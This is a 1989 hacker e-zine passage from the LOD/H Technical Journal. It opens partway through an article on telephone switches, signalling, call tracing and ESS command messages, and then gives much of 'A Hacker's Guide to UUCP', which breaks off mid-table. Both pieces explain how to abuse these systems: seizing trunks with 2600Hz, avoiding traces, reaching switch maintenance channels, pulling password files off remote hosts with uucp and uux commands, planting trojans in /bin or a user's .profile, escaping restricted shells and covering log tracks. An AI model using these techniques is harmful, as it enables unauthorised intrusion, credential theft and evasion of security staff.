  Utilized 10x20 cross point relay switches
  Hard wired common control logic for program control
  Also copied by other manufactures

- No.4 Crossbar
  Used as a toll switch for AT&T's long lines network
  4 wire tandem switching
  Not usually used for local loop switching

- No.1ESS 1966
- No.1AESS 1973
  Western Electric
  Described in detail later

- No.1EAX
  GTE Automatic Electric
  GTE's version of the 1AESS
  Slower and louder

- No.2ESS 1967
- No.2BESS 1974
  Western Electric
  Analog switching under digital control
  Very similar to the No.1ESS and No.1AESS
  Downsized for smaller applications

_ No.3ESS
  Western Electric
  Analog switching under digital control
  Even smaller version of No.1AESS

Rural applications for up to 4500 lines

- No.2EAX
  GTE Automatic Electric
  Smaller version of 1EAX
  Analog switch under digital control

- No.4ESS
  Western Electric
  Toll switch, 4 wire tandem
  Digital switching
  Uses the 1AESS processor

- No.3EAX
  Gee is there a pattern here? No GTE
  Digital Toll switch
  4 wire tandem switching

- No.5ESS
  AT&T Network Systems
  Full scale computerized digital switching
  ISDN compatibility
  Utilizes time sharing technology
  Toll or end office

- DMS 100 Digital Matrix Switch
  Northern Telecom
  Similar to 5ESS
  Runs slower
  Considerably less expensive

- DMS 200
  Toll and Access Tandem
  Optional operator services

- DMS 250
  Toll switch designed for common carriers

- DMS 300
  Toll switch for international gateways

- No.5EAX
  GTE Automatic Electric
  Same as above

How much does a switch cost? A fully equipped 5ESS for a 40,000 subscriber end office can cost well over 3 million dollars. Now you know why your phone bill is so much. Well...maybe you parents bill.

** The 1ESS and 1AESS **

This was the first switch of it's type put into widespread use by Bell. Primarily an analog switch under digital control, the switch is no longer being manufactured. The 1ESS has been replaced by the 5ESS and other full scale digital switches, however, it is still by far the most common switch used in today's Class 5 end offices.

The #1 and 1A use a crosspoint matrix similar to the X-bar. The primary switch used in the matrix is the ferreed (remreed in the 1A). It is a two state magnetic alloy switch. It is basically a magnetic switch that does not require voltage to stay in it's present position. A voltage is only required to change the state of the switch.

The No. 1 utilized a computer style, common control and memory. Memory used by the #1 changed with technology, but most have been upgraded to RAM. Line scanners monitor the status of customer lines, crosspoint switches, and all internal, outgoing, and incoming trunks, reporting their status to the central control. The central control then either calls upon program or call store memories to chose which crosspoints to activate for processing the call. The crosspoint matrices are controlled via central pulse distributors which in turn are controlled by the central control via data buses. All of the scanner's AMA tape controllers, pulse distro, x-point matrix, etc., listen to data buses for their address and command or report their information on the buses. The buses are merely cables connecting the different units to the central control.

The 1E was quickly replaced by the 1A due to advances in technology. So 1A's are more common, also many of the 1E's have been upgraded to a 1A. This meant changing the ferreed to the remreed relay, adding additional peripheral component controllers (to free up central controller load) and implementation of the 1A processor. The 1A processor replaced older style electronics with integrated circuits. Both switches operate similarly. The primary differences were speed and capacity. The #1ESS could process 110,000 calls per hour and serve 128,000 lines.

Most of the major common control elements are either fully or partially duplicated to ensure reliability. Systems run simultaneously and are checked against each other for errors. When a problem occurs the system will double check, reroute, or switch over to auxiliary to continue system operation. Alarms are also reported to the maintenance console and are in turn printed out on a printer near the control console.

Operation of the switch is done through the Master Control Center (MCC) panel and/or a terminal. Remote operation is also done through input/output channels. These channels have different functions and therefore receive different types of output messages and have different abilities as for what type of commands they are allowed to issue. Here is a list of the commonly used TTY channels.

```
Maintenance     - Primary channel for testing, enable, disable etc.
Recent Change   - Changes in class of service, calling features etc.
Administrative  - Traffic information and control
Supplementary   - Traffic information supplied to automatic network control
SCC Maint.      - Switching Control Center interface
Plant Serv.Cent.- Reports testing information to test facilities
```

At the end of this article you will find a list of the most frequently seen Maintenance channel output messages and a brief description of their meaning. You will also find a list of frequently used input messages.

There are other channels as well as back ups but the only ones to be concerned with are Recent Change and SCC maint. These are the two channels you will most likely want to get access to. The Maintenance channel doesn't leave the C.O. and is used by switch engineers as the primary way of controlling the switch. During off hours and weekends the control of the switch is transferred to the SCC.

The SCC is a centrally located bureau that has up to 16 switches reporting to it via their SCC maint. channel. The SCC has a mini computer running SCCS that watches the output of all these switches for trouble conditions that require immediate attention. The SCC personnel then have the ability to input messages to that particular switch to try and correct the problem. If necessary, someone will be dispatched to the C.O. to correct the problem. I should also mention that the SCC mini, SCCS has dialups and access to SCCS means access to all the switches connected to it. The level of access however, may be dependent upon the privileges of the account you are using.

The Recent Change channels also connect to a centrally located bureau referred to as the RCMAC. These bureaus are responsible for activating lines, changing class of service etc. RCMAC has been automated to a large degree by computer systems that log into COSMOS and look for pending orders. COSMOS is basically an order placement and record keeping system for central office equipment, but you should know that already, right? So this system, called Work Manager running MIZAR logs into COSMOS, pulls orders requiring recent change work, then in one batch several times a day, transmits the orders to the appropriate switch via it's Recent Change Channel.

Testing of the switch is done by many different methods. Bell Labs has developed a number of systems, many accomplishing the same functions. I will only attempt to cover the ones I know fairly well.

The primary testing system is the trunk test panels located at the switch itself. There are three and they all pretty much do the same thing, which is to test trunk and line paths through the switch.

Trunk and Line Test Panel
Supplementary Trunk Test Panel
Manual Trunk Test Panel

MLT (Mechanized Loop Testing) is another popular one. This system is often available through the LMOS data base and can give very specific measurements of line levels and losses. The "TV Mask" is also popular giving the user the ability to monitor lines via a call back number.

DAMT (Direct Access Mechanized Testing) is used by line repairmen to put tone on numbers to help them find lines. This was previously done by Frame personnel, so DAMT automated that task. DAMT can also monitor lines, but unfortunately, the audio is scrambled in a manor that allows one only to tell what type of signal is present on the line, or whether it is busy or not.

All of these testing systems have one thing in common: they access the line through a "No Test Trunk". This is a switch which can drop in on a specific path or line and connect it to the testing device. It depends on the device connected to the trunk, but there is usually a noticeable "click" heard on the tested line when the No Test Trunk drops in. Also the testing devices I have mentioned here will seize the line, busying it out. This will present problems when trying to monitor calls, as you would need to drop in during the call. The No Test Trunk is also the method in which operator consoles perform verifications and interrupts.

** INTEROFFICE SIGNALLING **

Calls coming into and leaving the switch are routed via trunks. The switches select which trunk will route the call most effectively and then retransmits the dialed number to the distant switch. There are several different ways this is done. The two most common are Loop Signaling and CCIS, Common Channel Interoffice Signaling. The predecessor to both of these is the famous and almost extinct "SF Signaling". This utilized the presence of 2600hz to indicate trunks in use. If one winks 2600Hz down one of these trunks, the distant switch would think you hung up. Remove the 2600, and you have control of the trunk and you could then MF a number. This worked great for years. Assuming you had dialed a toll free number to begin with, there was no billing generated at all. The 1AESS does have a program called SIGI that looks for any 2600 winks after the original connection of a toll call. It then proceeds to record on AMA and output any MF digits received. For more information on AMA see Phantom Phreaker's article entitled, Understanding Automatic Message Accounting in the LOD/H TJ Issue #3. However due to many long distant carriers using signaling that can generate these messages it is often overlooked and "SIG IRR" output messages are quite common.

Loop signaling still uses MF to transmit the called number to distant switches, however, the polarity of the voltage on the trunk is reversed to indicate trunk use.

CCIS sometimes referred to CCS#6 uses a separate data link sending packets of data containing information regarding outgoing calls. The distant switch monitors the information and connects the correct trunk to the correct path. This is a faster and more efficient way of call processing and is being implemented everywhere. The protocol that AT&T uses is CCS7 and is currently being accepted as the industry standard. CCS6 and CCS7 are somewhat similar.

Interoffice trunks are multiplexed together onto one pair. The standard is 24 channels per pair. This is called T-1 in it's analog format and D-1 in its digital format. This is often referred to as carrier or CXR. The terms frame error and phase jitter are part of this technology which is often a world in itself. This type of transmission is effective for only a few miles on twisted pair. It is often common to see interoffice repeaters in manholes or special huts. Repeaters can also be found within C.O.s, amplifying trunks between offices. This equipment is usually handled by the "carrier" room, often located on another floor. Carrier also handles special circuits, private lines, and foreign exchange circuits.

After a call reaches a Toll Switch, the transmit and receive paths of the calling and called party are separated and transmitted on separate channels. This allows better transmission results and allows more calls to be placed on any given trunk. This is referred to as 4 wire switching. This also explains why during a call, one person can hear crosstalk and the other cannot. Crosstalk will bleed over from other channels onto the multiplexed T-Carrier transmission lines used between switches.

** CALL TRACING

So with the Loop Signaling standard format there is no information being transmitted regarding the calling number between switches. This therefore causes the call tracing routine to be at least a two step process. This is assuming that you are trying to trace an anticipated call, not one in progress. When call trace "CLID" is placed on a number, a message is output every time someone calls that number. The message shows up on most of the ESS output channels and gives information regarding the time and the number of the incoming trunk group. If the call came from within that office, then the calling number is printed in the message. Once the trunk group is known, it can usually be determined what C.O. the calls are coming from. This is also assuming that the calls are coming from within that Bell company and not through a long distance carrier (IEC). So if Bell knows what C.O. the calls are coming from, they simply put the called number on the C.I. list of that C.O. Anytime anyone in that C.O. calls the number in question another message is generated showing all the pertinent information.

Now if this were a real time trace it would only require the assistance of the SCC and a few commands sent to the appropriate switches (i.e. NET-LINE). This would give them the path and trunk group numbers of the call in progress. Naturally the more things the call is going through, the more people that will need to be involved in the trace. There seems to be a common misconception about the ability to trace a call through some of the larger packet networks i.e. Telenet and TYMNET. Well I can assure you, they can track a call through their network in seconds (assuming multiple systems and/or network gateways are not used) and then all that is needed is the cooperation of the Bell companies. Call tracing in itself it not that difficult these days. What is difficult is getting the different organizations together to cooperate. You have to be doing something relatively serious to warrant tracing in most cases, however, not always. So if tracing is a concern, I would recommend using as many different companies at one time as you think is necessary, especially US Sprint, since they can't even bill

people on time much less trace a call. But...it is not recommended to call Sprint direct, more on that in the Equal Access section.

** EQUAL ACCESS

The first thing you need to understand is that every IEC Inter Exchange Carrier (long distance company) needs to have an agreement with every LEC Local Exchange Carrier (your local phone company) that they want to have access to and from. They have to pay the LEC for the type of service they receive and the amount of trunks, and trunk use. The cost is high and the market is a zoo. The LECs have the following options:

- Feature Group A -

This was the first access form offered to the IECs by the LECs. Basically whenever you access an IEC by dialing a regular 7 digit number (POTS line) this is FGA. The IECs' equipment would answer the line and interpret your digits and route your call over their own network. Then they would pick up an outgoing telephone line in the city you were calling and dial your number locally. Basically a dial in, dial out situation similar to Telenet's PC pursuit service.

- Feature Group B -

FGB is 950-xxxx. This is a very different setup from FGA. When you dial 950, your local switch routes the call to the closest Access Tandem (AT) (Toll Switch) in your area. There the IECs have direct trunks connected between the AT and their equipment. These trunks usually use a form of multiplexing like T-1 carrier with wink start (2600Hz). On the incoming side, calls coming in from the IEC are basically connected the same way. The IEC MFs into the AT and the AT then connects the calls. There are many different ways FGB is technically setup, but this is the most common.

Tracing on 950 calls has been an area of controversy and I would like to clear it up. The answer is yes, it is possible. But like I mentioned earlier, it would take considerable manpower which equals expensive to do this. It also really depends on how the IEC interface is set up. Many IECs have trunks going directly to Class 5 end offices. So, if you are using a small IEC, and they figure out what C.O. you are calling from, it wouldn't be out of the question to put CLID on the 950 number. This is highly unlikely and I have not heard from reliable sources of it ever being done. Remember, CLID generates a message every time a call is placed to that number. Excessive call trace messages can crash a switch. However, I should mention that brute force hacking of 950s is easily detected and relatively easy to trace. If the IEC is really having a problem in a particular area they will pursue it.

- Feature Group C -

FGC is reserved for and used exclusively by AT&T.

- Feature Group D -

FGD is similar to FGB with the exception that ANI is MF'ed to the IEC. The end office switch must have Equal Access capability in order to transmit the ANI. Anything above a X-bar can have it. FGD can only be implemented on 800 numbers and if an IEC wants it, they have to buy the whole prefix. For a list of FGD prefixes see 2600 Magazine. You should also be aware that MCI, Sprint, and AT&T are offering a service where they will transmit the ANI to the customer as well. You will find this being used as a security or marketing tool by an increasing amount of companies. A good example would be 800-999-CHAT.

** OUTPUT MESSAGES **

The following is a compiled list of common switch messages. The list was compiled from various reference materials that I have at my disposal.

1AESS COMMON OUTPUT MESSAGES

MSG.	DESCRIPTION
	** ALARM **
AR01	Office alarm
AR02	Alarm retired or transferred
AR03	Fuse blown
AR04	Unknown alarm scan point activated
AR05	Commercial power failure
AR06	Switchroom alarm via alarm grid
AR07	Power plant alarm
AR08	Alarm circuit battery loss
AR09	AMA bus fuse blown
AR10	Alarm configuration has been changed (retired,inhibited)
AR11	Power converter trouble
AR13	Carrier group alarm
AR15	Hourly report on building and power alarms
	** AUTOMATIC TRUNK TEST **
AT01	Results of trunk test
	** CARRIER GROUP **
CG01	Carrier group in alarm
CG03	Reason for above
	** COIN PHONE **
CN02	List of pay phones with coin disposal problems
CN03	Possible Trouble
CN04	Phone taken out of restored service because of possible coin fraud
	** COPY **
COPY	Data copied from one address to another
	** CALL TRACE **
CT01	Manually requested trace line to line, information follows
CT02	Manually requested trace line to trunk, information follows
CT03	Intraoffice call placed to a number with CLID
CT04	Interoffice call placed to a number with CLID
CT05	Call placed to number on the CI list
CT06	Contents of the CI list
CT07	ACD related trace
CT08	ACD related trace
CT09	ACD related trace
	** DIGITAL CARRIER TRUNK **
DCT COUNTS	Count of T carrier errors
	** MEMORY DIAGNOSTICS **
DGN	Memory failure in cs/ps diagnostic program
	** DIGITAL CARRIER "FRAME" ERRORS **
FM01	DCT alarm activated or retired
FM02	Possible failure of entire bank not just frame
FM03	Error rate of specified digroup
FM04	Digroup out of frame more than indicated
FM05	Operation or release of the loop terminal relay

```
FM06  Result of digroup circuit diagnostics
FM07  Carrier group alarm status of specific group
FM08  Carrier group alarm count for digroup
FM09  Hourly report of carrier group alarms
FM10  Public switched digital capacity failure
FM11  PUC counts of carrier group errors

      ** MAINTENANCE **
MA02  Status requested, print out of MACII scratch pad
MA03  Hourly report of system circuits and units in trouble
MA04  Reports condition of system
MA05  Maintenance interrupt count for last hour
MA06  Scanners,network and signal distributors in trouble
MA07  Successful switch of duplicated unit (program store etc.)
MA08  Excessive error rate of named unit
MA09  Power should not be removed from named unit
MA10  OK to remove paper
MA11  Power manually removed from unit
MA12  Power restored to unit
MA13  Indicates central control active
MA15  Hourly report of # of times interrupt recovery program acted
MA17  Centrex data link power removed
MA21  Reports action taken on MAC-REX command
MA23  4 minute report, emergency action phase triggers are inhibited

      ** MEMORY **
MN02  List of circuits in trouble in memory

      ** NETWORK TROUBLE **
NT01  Network frame unable to switch off line after fault detection
NT02  Network path trouble Trunk to Line
NT03  Network path trouble Line to Line
NT04  Network path trouble Trunk to Trunk
NT06  Hourly report of network frames made busy
NT10  Network path failed to restore

      ** OPERATING SYSTEM STATUS **
OP:APS-0
OP:APSTATUS
OP:CHAN
OP:CISRC     Source of critical alarm, automatic every 15 minutes
OP:CSSTATUS  Call store status
OP:DUSTATUS  Data unit status
OP:ERAPDATA  Error analysis database output
OP:INHINT    Hourly report of inhibited devices
OP:LIBSTAT   List of active library programs
OP:OOSUNITS  Units out of service
OP:PSSTATUS  Program store status

      ** PLANT MEASUREMENTS **
PM01  Daily report
PM02  Monthly report
PM03  Response to a request for a specific section of report
PM04  Daily summary of IC/IEC irregularities

      ** REPORT **
REPT:ADS FUNCTION  Reports that a ADS function is about to occur
REPT:ADS FUNCTION DUPLEX FAILED No ADS assigned
REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
REPT:ADS FUNCTION STATE CHANGE Change in state of ADS
REPT:ADS PROCEDURAL ERROR You fucked up
REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
REPT:PROG CONT OFF-NORMAL System programs that are off or on
REPT:RC CENSUS Hourly report on recent changes
```

REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)

```
      ** RECENT CHANGE **
RC18  RC message response

      ** REMOVE **
RMV   Removed from service

      ** RESTORE **
RST   Restored to service status

      ** RINGING AND TONE PLANT **
RT04  Status of monitors

      ** SOFTWARE AUDIT **
SA01  Call store memory audit results
SA03  Call store memory audit results

      ** SIGNAL IRREGULARITY **
SIG IRR  Blue box detection
SIG IRR INHIBITED  Detector off
SIG IRR TRAF  Half hour report of traffic data

      ** TRAFFIC CONDITION **
TC15  Reports overall traffic condition
TL02  Reason test position test was denied
TL03  Same as above

      ** TRUNK NETWORK **
TN01  Trunk diagnostic found trouble
TN02  Dial tone delay alarm failure
TN04  Trunk diag request from test panel
TN05  Trunk test procedural report or denials
TN06  Trunk state change
TN07  Response to a trunk type and status request
TN08  Failed incoming or outgoing call
TN09  Network relay failures
TN10  Response to TRK-LIST input, usually a request from test position
TN11  Hourly, status of trunk undergoing tests
TN16  Daily summary of precut trunk groups

      ** TRAFFIC OVERLOAD CONDITION **
TOC01 Serious traffic condition
TOC02 Reports status of less serious overload conditions

      ** TRANSLATION **  (shows class of service, calling features etc.)
TR01  Translation information, response to VFY-DN
TR03  Translation information, response to VFY-LEN
TR75  Translation information, response to VF:DNSVY
      **             **
TW02  Dump of octal contents of memory
```

1AESS COMMON INPUT MESSAGES

Messages always terminate with ". ctrl d " x=number or trunk network #

MSG.	DESCRIPTION
NET-LINE-xxxxxxx0000	Trace of path through switch
NET-TNN-xxxxxx	Same as above for trunk trace

```
T-DN-MBxxxxxxx         Makes a # busy
TR-DEACTT-26xxxxxxx    Deactivates call forwarding
VFY-DNxxxxxxx          Displays class of service, calling features etc.
VFY-LENxxxxxxxx        Same as above for OE
VFY-LIST-09 xxxxxxx    Displays speed calling 8 list
```

****

There are many things I didn't cover in this article and many of the things I covered, I did so very briefly. My intention was to write an article that explains the big picture, how everything fits together. I hope I helped.

Special thanks to all the stupid people, for without them some of us wouldn't be so smart and might have to work for a living. Also all the usual Bell Labs, AT&T bla bla bla etc. etc.

I can usually be reached on any respectable board, ha!

Agent Steal Inner (C)ircle 1989

!!!!!

!!!!! FREE KEVIN MITNICK !!!!!

!!!!!

[End Of Article]

The LOD/H Technical Journal, Issue #4: File 05 of 10

```
=====================================================
||                                                 ||
||            A Hacker's Guide to UUCP             ||
||                                                 ||
||                        by                       ||
||                                                 ||
||                    The Mentor                   ||
||                                                 ||
||              Legion of Doom/Hackers             ||
||                                                 ||
||                     08/04/89                    ||
||                                                 ||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
```

Scope
DDDDD

Part I of this file is intended for the casual hacker- someone familiar with UNIX commands, but who hasn't had extended experience with the UUCP network. Part II will be intended for the advanced hacker who has the confidence and knowledge to go out and modify a UNIX network- the logs, the paths, the permissions, etc...

Introduction
DDDDDDDDDDDD

Like it or not, UNIX is the most popular operating system in the world. As a hacker, you are likely to run into several hundred UNIX machines over the course of your hacking career. Knowing how to move around and use the UNIX environment should be considered

absolutely essential, especially since UNIX is the operating system of choice among phone company computers.

This article is not an attempt to teach you how to use UNIX. If you don't know what a '$ls -x > dir' does, you need to put this article in your archives, get a good basic file on UNIX (or buy a book on it- there are several good ones out ((see the Bibliography at the end of this file for suggestions))), read it, and then play around some in a UNIX machine. Please! If you have managed to stumble into a Bell system, do *not* use it as a machine to learn UNIX on! You *will* get noticed by security, and this will lead not only to the security being tightened, but may well lead to Bell Security going through your underwear drawer.

The information in this article is mainly concerning AT&T System V UNIX. I have included BSD 4.3 & Xenix information also in cases that I was able to determine alternate procedures. All information has been thoroughly tested and researched on as many machines as possible. Standard disclaimer, your system may be slightly different.

Glossary & Usage

BNU - Basic Networking Utilities. System V.3's uucp package.
daemon - A program running in the background.
LAN - Local Area Network.
network - A group of machines set up to exchange information and/or resources.
node - A terminating machine on a network.
UUCP - When capitalized, refers to the UNIX networking utilities package.
uucp - In lower case, refers to the program Unix-to-Unix-CoPy.

I. General Information

A. What is UUCP?

UUCP is a networking facility for the UNIX operating system. It is made up of a number of different programs that allow UNIX machines to talk to each other. Using UUCP, you can access a remote machine to copy files, execute commands, use resources, or send mail. You can dial out to other non-UNIX computers, and you can access public mail/news networks such as USENET.

B. History of UUCP

The first UUCP system was built in 1976 by Mike Lest at AT&T Bell Labs. This system became so popular that a second version was developed by Lesk, David Nowitz, and Greg Chesson. Version 2 UUCP was distributed with UNIX Version 7.

With System V Release 3, a new version of UUCP that was developed in 1983 by Peter Honeyman, David A. Nowitz, and Brian E. Redman. This version is known as either HoneyDanBer UUCP (from the last names of the developers), or more conventionally as Basic Networking Utilities (BNU). I will stick with BNU, as it is easier to type. BNU is backward compatible with Version 2, so there is no problem communicating between the two.

BSD 4.3's UUCP release incorporates some of the BNU features, but retains more similarity to Version 2 UUCP.

If you are unsure about which version of UUCP is on the system that you are in, do a directory of /usr/lib/uucp and look at the files. If you have a file called L.sys, you are in a Version 2 system. If there is a file called Systems, then it's BNU. See Table 1 for a fairly complete listing of what system runs what UUCP version.

Table 1*

Manufacturer	Model	UNIX/UUCP Version
Apollo	3000 Series (Domain)	BSD 4.2/Version 2
Altos	All models	Xenix/Version 2
AT&T	3B1 (UNIX PC)	System V.2/Vers.2
AT&T	3B2	System V.3/BNU
AT&T	3B15	System V.3/BNU
Convergent	Miniframe (CTIX)	System V.2/Vers.2
Technologies	Mightframe (CTIX)	System V.3/BNU
DEC	MicroVAX	Ultrix/Vers. 2 +
DEC	VAX	BSD 4.3/Vers. 2 +
Encore	Multimax	System V.3/BNU
IBM	PC-RT (AIX)	System V.2/Vers.2
Masscomp	MC-5000 Series	System V.3/BNU
Microport	PC/AT	System V.2/Vers.2
NCR	Tower 32/16	System V.2/Vers.2
Prime	EXL Series	System V.2/Vers.2
Pyramid	90x	BSD 4.2/Version 2
SCO/Xenix	PC/XT	System V.2/Vers.2
Unisys	5000 & 7000 Series	System V.2/Vers.2

* This table is slightly outdated. Some of the systems may have upgraded since this article was written.

II. UUCP Communications

A. Overview of UUCP User Programs

There are a number of programs that are used by a UUCP communication network. Some are standard UNIX programs, others are exclusively part of the UUCP package.

....

These three are standard UNIX commands:

mail- UNIX's mail facility can be used to send messages to other systems on a UUCP network.

cu- Connects you to a remote machine and allows you to be logged in simultaneously to both machines. Also allows you execute commands on either machine without dropping the link.

tip- (BSD) same as cu.

+++

There are five main programs within UUCP:

uucp- Does all the setup for a remote file transfer. uucp creates files that describe the file transfer

(called 'work' files), then calls the uucico daemon to do the actual work.

uux- Used to execute commands on a remote machine. uux performs similar to uucp, except that commands are processed instead of files.

uuname- Used to list the names of other systems that are connected to your network.

uulog- Displays the uucp log for the specified machine. I'll be showing how to cover your uucp tracks from this later in the article.

uustat- Gets the status of uux requests. Also lets you manipulate the contents of a UUCP queue.

+++

System V also has two additional programs:

uuto- Allows you to send files to another user similar to the UNIX mail command.

uupick- Allows you to read files sent to you with uuto.

+++

BSD 4.3 has two additional programs:

uuq- Lets you view & manipulate UUCP jobs that are waiting to be processed, similar to System V's uupick program.

uusend- Lets you forward files through a string of systems.

.....

III. Using the Programs

A. uuname

This one is easy & friendly. All you do is type '$uuname'. It will spit out a list of all systems on your network. If you aren't sure about the name of your local system, invoke uuname with the -l option. ($uuname -l).

B. mail

I'm not going to say to much about mail, as it isn't a program that you will use much as a hacker except possibly to break out of a shell. Sending mail to other people is not a good way to stay hidden, as all mail transfer to remote systems is logged (no, they may not read the mail, but they're likely to notice that the unassigned ADMIN account is suddenly getting mail from all over the world...) These logs can be modified, however. This will be covered in Part II.

Briefly, mail is invoked with the command 'mail username' (or mailx under some systems). If you wish to send mail to user john on the system you're on, you would type:

```
mail john
Dear John-
     This is mail.  Enjoy it.
^D   (usage note, this means control-D)
```

To send mail to a user on a remote system, or a string of systems, you would use the ! key to indicate a remote system name. If you were on node Alpha and wanted to send mail to john on node

Beta, you would address your mail to 'mail Beta!john'. If you wanted to send mail to a user on system that's not connected to yours, but *is* connected to a machine you are connected to, you would string together the system names, separated by a !. For example, if node Saturn was connected to Beta, but not to Alpha, you could send mail to susan on Saturn with 'mail Beta!Saturn!susan'.

Please note- If you are running the C-Shell or Bourne Shell, you will have to prefix the ! with a X. i.e. 'mail BetaX!SaturnX!susan'. Also, the mail header displays the system name, return path, and account name that you send mail from, so don't try to anonymously mail someone a message- it won't work.

Another quick feature (this is under the 'basic unix knowledge' category), if you want to mail a file named 'message' to someone, you'd type the following - '$mail Beta!Saturn!susan < message'.

Finally, as mentioned above, it may be possible to break out of a restricted shell within mail. Simply send mail to yourself, then when you enter mail to read the message, type !sh to exit from mail into shell. This will often blow off the restricted shell.

C. File Transfer

One of the first things that you will want to do when you discover that you're on a network (uuname, remember?) is to grab a copy of the /etc/password file from the systems on the net then run Shooting Shark's password hacking program from TJ Issue #2. Even if you have no use for it now, save it & label it, you never know when you might need to get into that system. Besides, when printed, they make fun & interesting wallpaper.

Unfortunately, the /etc/ directory will sometimes have access restricted. You can get around this by copying the /etc/password file to the /usr/spool/uucppublic directory using the uux command (see below). If the uux program has restrictions on in, then you may have to actually hack into the remote system using the rlogin command. Be persistent.

UUCP is also useful in that it allows you to send a file from your system to a remote system. Got a nice little trojan you need to insert on their system? Use UUCP to drop it into the /bin/ directory. Or if they protected the /bin/ directory (likely, if they have half a brain), they might have forgotten to protect all of the users private directories (i.e. /usr/mike or /usr/susan or sometimes even /usr/admin). UUCP a copy of a .profile file to your system, insert your own stuff in it, then UUCP it back to its original directory where the user will access it the next time he logs in. People rarely $cat their .profile file, so you can usually get away with murder in them.

While uucp has some limitations, it has the advantage of being present on every UUCP system in the world. If you're on a System V, you will probably use uuto & uupick much more frequently, as it's easier to do subtle hacks with them. But if uucp is all you have, remember, you're a hacker. Show some ingenuity. The syntax of uucp when sending a file is:

$uucp [options] <local source> <remote destination>

For example, you have a program sitting in your working directory on node Alpha called 'stuff', and you want to plop it

into the /usr/spool/uucppublic/mike/ directory of node Beta. The command would be '$uucp stuff Beta!/usr/spool/uucppublic/mike/'. (Don't forget to add a slash in front of the exclamation point if you're in C-Shell or Bourne!) A good thing to know that will save you some typing is that the /usr/spool/uucppublic/ directory can be abbreviated as D/ (in KSH only), so that the above command could look like '$uucp stuff Beta!D/mike/'. You can also specify a path other than D/. If you wish to drop your 'new & improved' version of the /etc/password file into the /etc/ directory, you could do a '$uucp password Beta!/etc/'. Just don't be surprised if it gets bounced with a message similar to the following:

```
From uucp Sat Dec 24 23:13:15 1988
Received: by Beta.UUCP (2.15/3.3)
id AA25032; Sat Dec 24 23:13:15 edt
Date: Sat Dec 24 23:13:15 edt
From: uucp
Apparently to: hacker
Status: R

file /etc/password, system Beta
remote access to path/file denied
```

Another hacker-friendly feature of UUCP is the ability to copy something into a remote user's login directory by entering a D character before the username. For example, to dump a modified .profile file into a user on Beta named alex, you would do the following:

```
'$uucp .profile Beta!Dalex'
```

The syntax for uucp when receiving a remote file is:

```
$uucp [options] <remote path> <local directory>
```

For example, you wish to grab Beta's password file and put it in a subdirectory called tmp in the account 'hacker' on node Alpha. The command would be:

```
'$uucp Beta!/etc/password Alpha!/usr/hacker/tmp/'.
```

The same things concerning use of tildes (D) demonstrated in sending files applies when receiving them. The following table contains valid options to the uucp command.

Table 2
DDDDDDD

-C	Copy the local source file to the spool directory before attempting the transfer.
-f	If the directory doesn't exist, abort the transfer. Normally uucp will create any non-existent directories, which is bad technique if you're a good hacker...
-j	Display the UUCP job request number. This is useful if you're going to use uustat to manipulate & reroute UUCP requests in the queue.

```
                |                                               |
                |  -m Notify sender by mail when copy is done.  |
                |     Potentially hazardous, as incoming mail   |
                |     is logged.  Later on I'll show how to     |
                |     modify that log...                        |
                |                                               |
                |  -n<username> Notify the user specified on    |
                |     the remote system when the xfer is done.  |
                |     I assume everyone sees how foolish this   |
                |     would be, right?                          |
                |                                               |
                |  -r Queue the job, but do not contact remote  |
                |     system immediately.  Can't see any pros   |
                |     or cons in using this one...              |
                |                                               |
                |  -s<filename> Pipe the UUCP status messages   |
                |     to filename. Useful if you wish to log    |
                |     off & then check the progress later.      |
                |                                               |
                DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
```

D. Executing Remote Commands

The uux program allows users to execute a program on another system on the network. While in theory this is the most useful command a hacker can use, in practice it is usually heavily restricted- any system administrator with half a brain realizes that letting people execute any command they like from across the country is not the way to maintain system integrity.

There are, however, some useful things that can be done with uux even if the sysadmin has protected the things that *he* thinks are dangerous (remember, he's not a hacker, you are. You are smarter, more persistent, and much cleverer than he is. He doesn't like coming to work every day, can't wait to leave, and will do the minimum possible to get by. You're different. You're dedicated & tricky. You *like* what you're doing. If you don't, get the hell out & let others who do take over. End of the pep talk.)

The format for the uux command is:

```
$uux [options] command-string.
```

See Table 3 below for a list of options.

Ok, ideal case. The System manager of Beta is an idiot who has left all possible commands open, and the uucico daemon has root privs. Let's say you want to alter the protection of the password file, copy it into the D/ (public, remember?) directory, then copy it over to your system. The sequence of commands would be:

```
$uux Beta!chmod 777 /etc/password
$uux Beta!cp /etc/password /usr/spool/uucppublic/info.txt
$uucp Beta!D/info.txt /usr/hacker/
```

The first line would modify the protection where anyone could get to it, the second line would copy it into the D/ directory, and the third line would send it along to you.

Unfortunately, most commands are disabled (useful ones like chmod and cat and ls, at least.) But sometimes you can get around that. For instance, often you might not be able to ls or cp the password file. But very rarely will mail be disabled. So if you wanted a copy of the password file, you have them mail you one:

```
$uux Beta!mail Alpha!hacker < /etc/password
```

Later in the UUCP Administration section, I'll explain how to modify the remote system so any command you want is executable.

When you execute a remote command, UUCP will automatically send you mail telling you how it went. It's a good idea to check the logs and see if there's anything you need to remove to cover your presence (this subject will be covered in Part II).

If you are executing a command that is going to need data from a file, you specify that the file is on your local system by prefacing it with a X!. I can't think of many reasons to use this, but perhaps you can. As an example, let's say you wanted to print a file in your directory called 'stuff' out on a remote laser printer (bad hacking practice, and difficult to retrieve.) Do this:

```
$uux Beta!lp -dlaser X!stuff
```

If the command you want to execute (whodo in this example) is forbidden, you will get a notification message similar to the following:

```
>From uucp Sat Dec 24 23:12:15 EDT 1988
>From uucp Sat Dec 24 23:12:13 EDT 1988 remote from Beta
Status: R0
uuxqt cmd (whodo) status (DENIED)
```

If you are going to need the standard output for a command, pipe it into D/. And any files or processes created by uux will belong to the user uucp, not to you.

Table 3
DDDDDDD

```
-a<username>  Notify user username when completed.

-b  Print the Standard Input when the exit status
    indicates an error.

-c  Do not copy files to the spool directory (I
    recommend this one...too big a chance of someone
    glancing in the spool dir.

-g<char or num> Sets the priority of the transfer.
    The lower alphabetically or numerically that
    the char or num is, the faster the process will
    be executed.  i.e.  -ga or -g2 will go faster
    than -gr or -g8.

-j  Print the UUCP job number.  Useful if you're
    going to be playing with the queue.

-I  (BSD Only) Make a link from the original file to
    the spool dir.  I'm not sure what this is for.

-L  (BSD Only) Start up the uucico daemon.

-n  Don't notify by mail.  Recommended if you don't
    have the authority or knowledge to modify the
